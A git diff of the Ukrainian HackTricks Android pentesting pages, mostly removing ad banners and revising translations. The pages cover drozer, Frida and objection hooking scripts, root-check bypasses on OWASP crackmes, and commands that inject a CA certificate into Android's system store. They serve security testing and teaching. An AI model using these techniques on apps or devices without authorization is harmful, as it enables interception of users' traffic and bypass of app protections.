- **is debuggable**: [Дізнатися більше](./#is-debuggeable)
### Дії
@ -121,7 +117,7 @@ com.mwr.example.sieve.PWList
```
**Почати активність**:
Можливо, ви можете почати активність і обійти якусь авторизацію, яка повинна заважати вам її запускати.
Можливо, ви можете почати активність і обійти якусь авторизацію, яка повинна заважати вам її запустити.
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
@ -183,7 +179,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
### Broadcast Receivers
**У розділі основної інформації Android ви можете побачити, що таке Broadcast Receiver**.
**У розділі основної інформації про Android ви можете побачити, що таке Broadcast Receiver**.
Після виявлення цих Broadcast Receivers вам слід **перевірити код** цих компонентів. Зверніть особливу увагу на функцію **`onReceive`**, оскільки вона оброблятиме отримані повідомлення.
@ -233,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
### Чи є можливість налагодження
Продуктова APK ніколи не повинна бути налагоджуваною.\
Це означає, що ви можете **підключити java налагоджувач** до запущеного додатку, перевірити його в режимі реального часу, встановити точки зупинки, крок за кроком, збирати значення змінних і навіть змінювати їх. [InfoSec institute має відмінну статтю](../exploiting-a-debuggeable-applciation.md) про те, як глибше дослідити, коли ваш додаток є налагоджуваним і впроваджувати код під час виконання.
Це означає, що ви можете **підключити java налагоджувач** до працюючого додатку, перевірити його в режимі виконання, встановити точки зупинки, крок за кроком, збирати значення змінних і навіть змінювати їх. [InfoSec institute має відмінну статтю](../exploiting-a-debuggeable-applciation.md) про те, як глибше дослідити, коли ваш додаток є налагоджуваним і впроваджувати код під час виконання.
Коли додаток є налагоджуваним, він з'явиться в Маніфесті:
```xml
@ -254,10 +250,6 @@ run app.package.debuggable
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
<img src="../../../images/i3.png" alt="" data-size="original">
**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

22
src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
View File

@ -2,21 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
## Встановлення
{% embed url="https://go.intigriti.com/hacktricks" %}
## Installation
Install **frida tools**:
Встановіть **frida tools**:
```bash
pip install frida-tools
pip install frida
```
**Завантажте та встановіть** на Android **frida server** ([Завантажте останнє випуск](https://github.com/frida/frida/releases)).\
Однорядковий код для перезапуску adb в режимі root, підключення до нього, завантаження frida-server, надання прав виконання та запуску в фоновому режимі:
Однорядковий команд для перезапуску adb в режимі root, підключення до нього, завантаження frida-server, надання прав виконання та запуску в фоновому режимі:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
@ -66,7 +61,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
#frozen so that the instrumentation can occur, and the automatically
#continue execution with our modified code.
```
### Базовий скрипт Python
### Основний скрипт Python
```python
import frida, sys
@ -89,7 +84,7 @@ return false;
};
});
```
Перехоплення java `exit()`
Підключити java `exit()`
```javascript
var sysexit = Java.use("java.lang.System")
sysexit.exit.overload("int").implementation = function (var_0) {
@ -164,7 +159,7 @@ return ret
```
### Отримання вже створеного об'єкта класу
Якщо ви хочете витягти деяку атрибуту створеного об'єкта, ви можете використовувати це.
Якщо ви хочете витягти деякий атрибут створеного об'єкта, ви можете використовувати це.
У цьому прикладі ви побачите, як отримати об'єкт класу my_activity і як викликати функцію .secret(), яка виведе приватний атрибут об'єкта:
```javascript
@ -182,10 +177,5 @@ onComplete: function () {},
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [Частина 1 серії блогів про розширене використання Frida: Бібліотеки шифрування IOS](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

17
src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md
View File

@ -2,12 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Це резюме посту**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**Джерельний код**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
@ -16,7 +10,7 @@
Frida дозволяє вам **вставляти JavaScript код** всередину функцій працюючого додатку. Але ви можете використовувати **python** для **виклику** хуків і навіть для **взаємодії** з **хуками**.
Це простий скрипт на python, який ви можете використовувати з усіма запропонованими прикладами в цьому навчальному посібнику:
Це простий python скрипт, який ви можете використовувати з усіма запропонованими прикладами в цьому навчальному посібнику:
```python
#hooking.py
import frida, sys
@ -55,7 +49,7 @@ return true
```
python hooking.py hook1.js
```
Дивіться: Функція приймає параметром рядок, чи потрібно перевантаження?
Дивіться: Функція приймає параметром рядок, чи не потрібно перевантаження?
## Hook 2 - Брутфорс функції
@ -120,14 +114,9 @@ return encrypted_ret
```
## Важливо
У цьому посібнику ви підключили методи, використовуючи назву методу та _.implementation_. Але якщо є **більше ніж один метод** з тією ж назвою, вам потрібно **вказати метод**, який ви хочете підключити, **вказуючи тип аргументів**.
У цьому посібнику ви підключили методи, використовуючи назву методу та _.implementation_. Але якщо є **більше ніж один метод** з тією ж назвою, вам потрібно буде **вказати метод**, який ви хочете підключити, **вказуючи тип аргументів**.
Ви можете побачити це в [наступному посібнику](frida-tutorial-2.md).
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

11
src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md
View File

@ -2,12 +2,6 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
**Це резюме посту**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Частини 2, 3 та 4)\
**APKs та вихідний код**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
@ -210,10 +204,5 @@ return this.setText(string_to_recv)
```
Є частина 5, яку я не буду пояснювати, оскільки там немає нічого нового. Але якщо ви хочете прочитати, вона тут: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

40
src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md
View File

@ -1,28 +1,24 @@
# Обучення Objection
# Objection Tutorial
{{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## **Вступ**
**objection - Дослідження мобільних додатків під час виконання**
**objection - Дослідження мобільних додатків в реальному часі**
[**Objection**](https://github.com/sensepost/objection) - це набір інструментів для дослідження мобільних додатків під час виконання, що працює на базі [Frida](https://www.frida.re). Він був створений з метою допомогти оцінити мобільні додатки та їхню безпеку без необхідності використовувати пристрій з джейлбрейком або рут-доступом.
[**Objection**](https://github.com/sensepost/objection) - це набір інструментів для дослідження мобільних додатків в реальному часі, що працює на базі [Frida](https://www.frida.re). Він був створений з метою допомогти оцінити мобільні додатки та їхню безпеку без необхідності використовувати пристрій з джейлбрейком або рутом.
**Примітка:** Це не є формою обходу джейлбрейку / рут-доступу. Використовуючи `objection`, ви все ще обмежені всіма обмеженнями, накладеними відповідним пісочницею, з якою ви стикаєтеся.
**Примітка:** Це не є формою обходу джейлбрейку / руту. Використовуючи `objection`, ви все ще обмежені всіма обмеженнями, накладеними відповідним пісочницею, з якою ви стикаєтеся.
### Резюме
**Мета** **objection** - дозволити користувачу викликати **основні дії, які пропонує Frida**. **В іншому випадку**, користувачеві потрібно буде створити **один скрипт для кожного додатку**, який він хоче протестувати.
**Мета** **objection** - дозволити користувачу викликати **основні дії, які пропонує Frida**. **В іншому випадку**, користувачеві потрібно буде створити **окремий скрипт для кожного додатку**, який він хоче протестувати.
## Посібник
## Туторіал
Для цього посібника я буду використовувати APK, який ви можете завантажити тут:
Для цього туторіалу я буду використовувати APK, який ви можете завантажити тут:
{% file src="../../../images/app-release.zip" %}
@ -90,7 +86,7 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
У реальному додатку ми повинні знати всю інформацію, виявлену в цій частині, перш ніж використовувати objection завдяки **статичному аналізу**. У будь-якому випадку, таким чином ви, можливо, зможете побачити **щось нове**, оскільки тут ви отримаєте лише повний список класів, методів та експортованих об'єктів.
Це також корисно, якщо ви якимось чином **не можете отримати читабельний вихідний код** додатку.
Це також корисно, якщо якимось чином ви **не можете отримати читабельний вихідний код** додатку.
#### Список активностей, приймачів та сервісів
```bash
@ -101,7 +97,7 @@ android hooking list activities
android hooking list services
android hooking list receivers
```
Frida запустить помилку, якщо нічого не знайдено
Frida видасть помилку, якщо нічого не знайдено
#### Отримання поточної активності
```bash
@ -125,7 +121,7 @@ android hooking search methods asvid.github.io.fridaapp MainActivity
```
![](<../../../images/image (929).png>)
#### Перелік оголошених методів класу з їхніми параметрами
#### Перелік оголошених методів класу з їх параметрами
Давайте з'ясуємо, які параметри потрібні методам класу:
```bash
@ -145,7 +141,7 @@ android hooking list classes #List all loaded classes, As the target application
#### Перехоплення (спостереження) методу
З [джерельного коду](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) програми ми знаємо, що **функція** _**sum()**_ **з** _**MainActivity**_ виконується **кожну секунду**. Спробуємо **вивантажити всю можливу інформацію** щоразу, коли викликається функція (аргументи, значення повернення та трасування):
З [джерельного коду](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) програми ми знаємо, що **функція** _**sum()**_ **з** _**MainActivity**_ виконується **кожну секунду**. Спробуємо **вивантажити всю можливу інформацію** щоразу, коли функція викликається (аргументи, значення повернення та трасування):
```bash
android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return
```
@ -153,7 +149,7 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
#### Хукання (спостереження) за цілим класом
Насправді, я вважаю всі методи класу MainActivity дуже цікавими, давайте **захукаємо їх усі**. Будьте обережні, це може **викликати збій** програми.
Насправді, всі методи класу MainActivity мені дуже цікаві, давайте **захукаємо їх усі**. Будьте обережні, це може **викликати збої** в додатку.
```bash
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
```
@ -173,7 +169,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
### Екземпляри класу
Шукайте та друкуйте **живі екземпляри конкретного Java класу**, вказаного повністю кваліфікованим ім'ям класу. Вихід - це результат спроби отримати значення рядка для виявленого objection, яке зазвичай **містить значення властивостей для об'єкта**.
Шукайте та виводьте **живі екземпляри конкретного Java класу**, вказаного повністю кваліфікованим ім'ям класу. Ось результат спроби отримати значення рядка для виявленого objection, яке зазвичай **містить значення властивостей для об'єкта**.
```
android heap print_instances <class>
```
@ -189,7 +185,7 @@ android intent launch_service
```
### Пам'ять
#### Вивантаження
#### Дамп
```bash
memory dump all <local destination> #Dump all memory
memory dump from_base <base_address> <size_to_dump> <local_destination> #Dump a part
@ -228,11 +224,3 @@ exit
- Методи хуків іноді призводять до збоїв програми (це також пов'язано з Frida).
- Ви не можете використовувати екземпляри класів для виклику функцій екземпляра. І ви не можете створювати нові екземпляри класів і використовувати їх для виклику функцій.
- Немає ярлика (як для sslpinnin), щоб підключити всі загальні криптографічні методи, що використовуються програмою, щоб побачити зашифрований текст, відкритий текст, ключі, IV та алгоритми, що використовуються.
<img src="../../../images/i3.png" alt="" data-size="original">
**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

13
src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md
View File

@ -2,18 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Порада для баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
---
**Це резюме посту**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
## Solution 1
## Рішення 1
На основі [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)
@ -120,10 +115,4 @@ return false
send("Hooks installed.")
})
```
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**Порада щодо баг-баунті**: **зареєструйтесь** на **Intigriti**, преміум **платформі для баг-баунті, створеній хакерами для хакерів**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні та почніть заробляти винагороди до **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

21
src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
View File

@ -2,10 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## На віртуальній машині
По-перше, вам потрібно завантажити сертифікат Der з Burp. Ви можете зробити це в _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_
@ -58,9 +54,9 @@ adb reboot #Now, reboot the machine
Спроби змонтувати **шлях APEX cacerts** як записуваний зазнають невдачі, оскільки система не дозволяє такі операції. Навіть спроби демонтувати або накласти тимчасову файлову систему (tmpfs) на каталог не обходять незмінність; програми продовжують отримувати доступ до оригінальних даних сертифіката, незважаючи на зміни на рівні файлової системи. Ця стійкість зумовлена тим, що **монтаж `/apex`** налаштований з PRIVATE пропагандою, що забезпечує, щоб будь-які зміни в каталозі **`/apex`** не впливали на інші процеси.
Ініціалізація Android включає процес `init`, який, запускаючи операційну систему, також ініціює процес Zygote. Цей процес відповідає за запуск процесів додатків з новим простором монтування, який включає приватний **монтаж `/apex`**, таким чином ізолюючи зміни в цьому каталозі від інших процесів.
Ініціалізація Android включає процес `init`, який, запускаючи операційну систему, також ініціює процес Zygote. Цей процес відповідає за запуск процесів додатків з новим простором монтування, що включає приватний **монтаж `/apex`**, таким чином ізолюючи зміни в цьому каталозі від інших процесів.
Проте існує обхідний шлях для тих, хто потребує змінити сертифікати CA, яким довіряє система, в каталозі **`/apex`**. Це передбачає ручне змонтування **`/apex`** для видалення PRIVATE пропаганди, що робить його записуваним. Процес включає копіювання вмісту **`/apex/com.android.conscrypt`** в інше місце, демонтаж каталогу **`/apex/com.android.conscrypt`** для усунення обмеження на читання, а потім відновлення вмісту на його початкове місце в **`/apex`**. Цей підхід вимагає швидких дій, щоб уникнути збоїв системи. Щоб забезпечити загальносистемне застосування цих змін, рекомендується перезапустити `system_server`, що ефективно перезапускає всі програми та приводить систему до узгодженого стану.
Проте існує обхідний шлях для тих, хто потребує змінити сертифікати CA, яким довіряє система, у каталозі **`/apex`**. Це передбачає ручне змонтування **`/apex`** для видалення PRIVATE пропаганди, що робить його записуваним. Процес включає копіювання вмісту **`/apex/com.android.conscrypt`** в інше місце, демонтаж каталогу **`/apex/com.android.conscrypt`** для усунення обмеження на читання, а потім відновлення вмісту на його початкове місце в межах **`/apex`**. Цей підхід вимагає швидких дій, щоб уникнути збоїв системи. Щоб забезпечити загальносистемне застосування цих змін, рекомендується перезапустити `system_server`, що ефективно перезапускає всі програми та приводить систему до узгодженого стану.
```bash
# Create a separate temp directory, to hold the current certificates
# Otherwise, when we add the mount we can't read the current certs anymore.
@ -120,29 +116,26 @@ echo "System certificate injected"
```
### Bind-mounting through NSEnter
1. **Налаштування записуваної директорії**: Спочатку створюється записувана директорія шляхом монтування `tmpfs` поверх існуючої директорії системних сертифікатів, що не є APEX. Це досягається за допомогою наступної команди:
1. **Налаштування записуваної директорії**: Спочатку створюється записувана директорія шляхом монтування `tmpfs` над існуючою директорією системних сертифікатів, що не є APEX. Це досягається за допомогою наступної команди:
```bash
mount -t tmpfs tmpfs /system/etc/security/cacerts
```
2. **Підготовка CA сертифікатів**: Після налаштування записуваного каталогу, CA сертифікати, які планується використовувати, повинні бути скопійовані в цей каталог. Це може включати копіювання стандартних сертифікатів з `/apex/com.android.conscrypt/cacerts/`. Важливо відповідно налаштувати дозволи та мітки SELinux для цих сертифікатів.
3. **Прив'язка монтування для Zygote**: Використовуючи `nsenter`, входять у простір монтування Zygote. Zygote, будучи процесом, відповідальним за запуск Android додатків, вимагає цього кроку, щоб забезпечити, що всі додатки, які будуть запущені надалі, використовують новонаконфігуровані CA сертифікати. Використовується команда:
3. **Прив'язка монтування для Zygote**: Використовуючи `nsenter`, входять у простір імен монтування Zygote. Zygote, будучи процесом, відповідальним за запуск Android додатків, вимагає цього кроку, щоб забезпечити, що всі додатки, які будуть ініційовані надалі, використовують новонаконфігуровані CA сертифікати. Використовується команда:
```bash
nsenter --mount=/proc/$ZYGOTE_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
Це забезпечує, що кожен новий додаток, який запускається, буде дотримуватись оновленої налаштування CA сертифікатів.
Це забезпечує, що кожен новий додаток, який запускається, буде дотримуватися оновленої конфігурації CA сертифікатів.
4. **Застосування змін до працюючих додатків**: Щоб застосувати зміни до вже працюючих додатків, знову використовується `nsenter`, щоб увійти в простір імен кожного додатка окремо та виконати подібне зв'язування. Необхідна команда:
4. **Застосування змін до запущених додатків**: Щоб застосувати зміни до вже запущених додатків, знову використовується `nsenter`, щоб увійти в простір імен кожного додатку окремо та виконати подібне зв'язування. Необхідна команда:
```bash
nsenter --mount=/proc/$APP_PID/ns/mnt -- /bin/mount --bind /system/etc/security/cacerts /apex/com.android.conscrypt/cacerts
```
5. **Альтернативний підхід - М'який перезавантаження**: Альтернативний метод передбачає виконання прив'язки до процесу `init` (PID 1), після чого слідує м'яке перезавантаження операційної системи з командами `stop && start`. Цей підхід дозволить поширити зміни на всі простори імен, уникаючи необхідності окремо вирішувати питання з кожним запущеним додатком. Однак цей метод зазвичай менш бажаний через незручність перезавантаження.
5. **Альтернативний підхід - М'який перезапуск**: Альтернативний метод передбачає виконання прив'язки до процесу `init` (PID 1), після чого слідує м'який перезапуск операційної системи за допомогою команд `stop && start`. Цей підхід дозволить поширити зміни на всі простори імен, уникаючи необхідності окремо вирішувати питання з кожним запущеним додатком. Однак цей метод зазвичай менш бажаний через незручність перезавантаження.
## References
- [https://httptoolkit.com/blog/android-14-install-system-ca-certificate/](https://httptoolkit.com/blog/android-14-install-system-ca-certificate/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

32
src/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md
View File

@ -2,55 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**Для отримання додаткової інформації перегляньте:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Поглибте свої знання в **Мобільній безпеці** з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
{% embed url="https://academy.8ksec.io/" %}
**Для отримання додаткової інформації перевірте:** [**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)
Android додатки можуть використовувати нативні бібліотеки, зазвичай написані на C або C++, для виконання завдань, критичних до продуктивності. Творці шкідливого ПЗ також використовують ці бібліотеки, оскільки їх важче реверсувати, ніж DEX байт-код. Розділ підкреслює навички реверс-інжинірингу, адаптовані до Android, а не навчання асемблерним мовам. Для сумісності надаються версії бібліотек для ARM та x86.
Android додатки можуть використовувати нативні бібліотеки, зазвичай написані на C або C++, для завдань, критичних до продуктивності. Творці шкідливого ПЗ також використовують ці бібліотеки, оскільки їх важче реверсувати, ніж DEX байт-код. Розділ підкреслює навички реверс-інженерії, адаптовані до Android, а не навчання мовам асемблера. Для сумісності надаються версії бібліотек для ARM та x86.
### Ключові моменти:
- **Нативні бібліотеки в Android додатках:**
- Використовуються для завдань, що вимагають високої продуктивності.
- Написані на C або C++, що ускладнює реверс-інжиніринг.
- Написані на C або C++, що ускладнює реверс-інженерію.
- Знаходяться у форматі `.so` (спільний об'єкт), подібно до бінарних файлів Linux.
- Творці шкідливого ПЗ віддають перевагу нативному коду, щоб ускладнити аналіз.
- **Java Native Interface (JNI) та Android NDK:**
- JNI дозволяє реалізовувати методи Java в нативному коді.
- JNI дозволяє реалізовувати Java методи в нативному коді.
- NDK - це набір інструментів, специфічних для Android, для написання нативного коду.
- JNI та NDK з'єднують код Java (або Kotlin) з нативними бібліотеками.
- JNI та NDK з'єднують Java (або Kotlin) код з нативними бібліотеками.
- **Завантаження та виконання бібліотек:**
- Бібліотеки завантажуються в пам'ять за допомогою `System.loadLibrary` або `System.load`.
- JNI_OnLoad виконується під час завантаження бібліотеки.
- Нативні методи, оголошені в Java, пов'язуються з нативними функціями, що дозволяє виконання.
- **Зв'язування методів Java з нативними функціями:**
- **Зв'язування Java методів з нативними функціями:**
- **Динамічне зв'язування:** Імена функцій у нативних бібліотеках відповідають певному шаблону, що дозволяє автоматичне зв'язування.
- **Статичне зв'язування:** Використовує `RegisterNatives` для зв'язування, забезпечуючи гнучкість у найменуванні функцій та структурі.
- **Інструменти та техніки реверс-інжинірингу:**
- **Інструменти та техніки реверс-інженерії:**
- Інструменти, такі як Ghidra та IDA Pro, допомагають аналізувати нативні бібліотеки.
- `JNIEnv` є важливим для розуміння функцій та взаємодій JNI.
- Надані вправи для практики завантаження бібліотек, зв'язування методів та ідентифікації нативних функцій.
### Ресурси:
- **Вивчення ARM Assembly:**
- **Вивчення ARM асемблера:**
- Рекомендується для глибшого розуміння основної архітектури.
- [Основи ARM Assembly](https://azeria-labs.com/writing-arm-assembly-part-1/) від Azeria Labs рекомендовано.
- [Основи ARM асемблера](https://azeria-labs.com/writing-arm-assembly-part-1/) від Azeria Labs рекомендовані.
- **Документація JNI та NDK:**
- [Специфікація JNI від Oracle](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
- [Поради JNI для Android](https://developer.android.com/training/articles/perf-jni)
- [Початок роботи з NDK](https://developer.android.com/ndk/guides/)
- **Налагодження нативних бібліотек:**
- [Налагодження нативних бібліотек Android за допомогою JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Поглибте свої знання в **Мобільній безпеці** з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
{% embed url="https://academy.8ksec.io/" %}
- [Налагодження Android нативних бібліотек за допомогою JEB Decompiler](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3)
{{#include ../../banners/hacktricks-training.md}}

26
src/mobile-pentesting/android-app-pentesting/smali-changes.md
View File

@ -2,12 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Поглибте свої знання в **Мобільній Безпеці** з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
{% embed url="https://academy.8ksec.io/" %}
Іноді цікаво модифікувати код програми, щоб отримати доступ до прихованої інформації (можливо, добре обфусцировані паролі або прапори). Тоді може бути цікаво декомпілювати apk, модифікувати код і знову скомпілювати його.
**Справочний посібник з опкодів:** [http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html](http://pallergabor.uw.hu/androidblog/dalvik_opcodes.html)
@ -24,7 +18,7 @@
```bash
apktool d APP.apk
```
Якщо **apktool** видає будь-яку помилку, спробуйте [встановити **остання версія**](https://ibotpeaches.github.io/Apktool/install/)
Якщо **apktool** видає вам будь-яку помилку, спробуйте [встановити **остання версія**](https://ibotpeaches.github.io/Apktool/install/)
Деякі **цікаві файли, на які варто звернути увагу**:
@ -36,7 +30,7 @@ apktool d APP.apk
## Зміна коду smali
Ви можете **змінювати** **інструкції**, змінювати **значення** деяких змінних або **додавати** нові інструкції. Я змінюю код Smali, використовуючи [**VS Code**](https://code.visualstudio.com), потім ви встановлюєте **розширення smalise**, і редактор повідомить вас, якщо будь-яка **інструкція є некоректною**.\
Ви можете **змінювати** **інструкції**, змінювати **значення** деяких змінних або **додавати** нові інструкції. Я змінюю код Smali, використовуючи [**VS Code**](https://code.visualstudio.com), ви потім встановлюєте **розширення smalise**, і редактор скаже вам, якщо будь-яка **інструкція є некоректною**.\
Деякі **приклади** можна знайти тут:
- [Приклади змін Smali](smali-changes.md)
@ -46,7 +40,7 @@ apktool d APP.apk
## Перекомпіляція APK
Після зміни коду ви можете **перекомпілювати** код, використовуючи:
Після модифікації коду ви можете **перекомпілювати** код, використовуючи:
```bash
apktool b . #In the folder generated when you decompiled the application
```
@ -95,7 +89,7 @@ invoke-virtual {v0,v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
return-void
.end method
```
Набір інструкцій Smali доступний [тут](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
Набір інструкцій Smali доступний [here](https://source.android.com/devices/tech/dalvik/dalvik-bytecode#instructions).
### Легкі зміни
@ -147,9 +141,9 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
- Якщо ви збираєтеся використовувати оголошені змінні всередині функції (оголошені v0,v1,v2...) помістіть ці рядки між _.local \<number>_ та оголошеннями змінних (_const v0, 0x1_)
- Якщо ви хочете вставити код логування в середину коду функції:
- Додайте 2 до кількості оголошених змінних: Наприклад, з _.locals 10_ до _.locals 12_
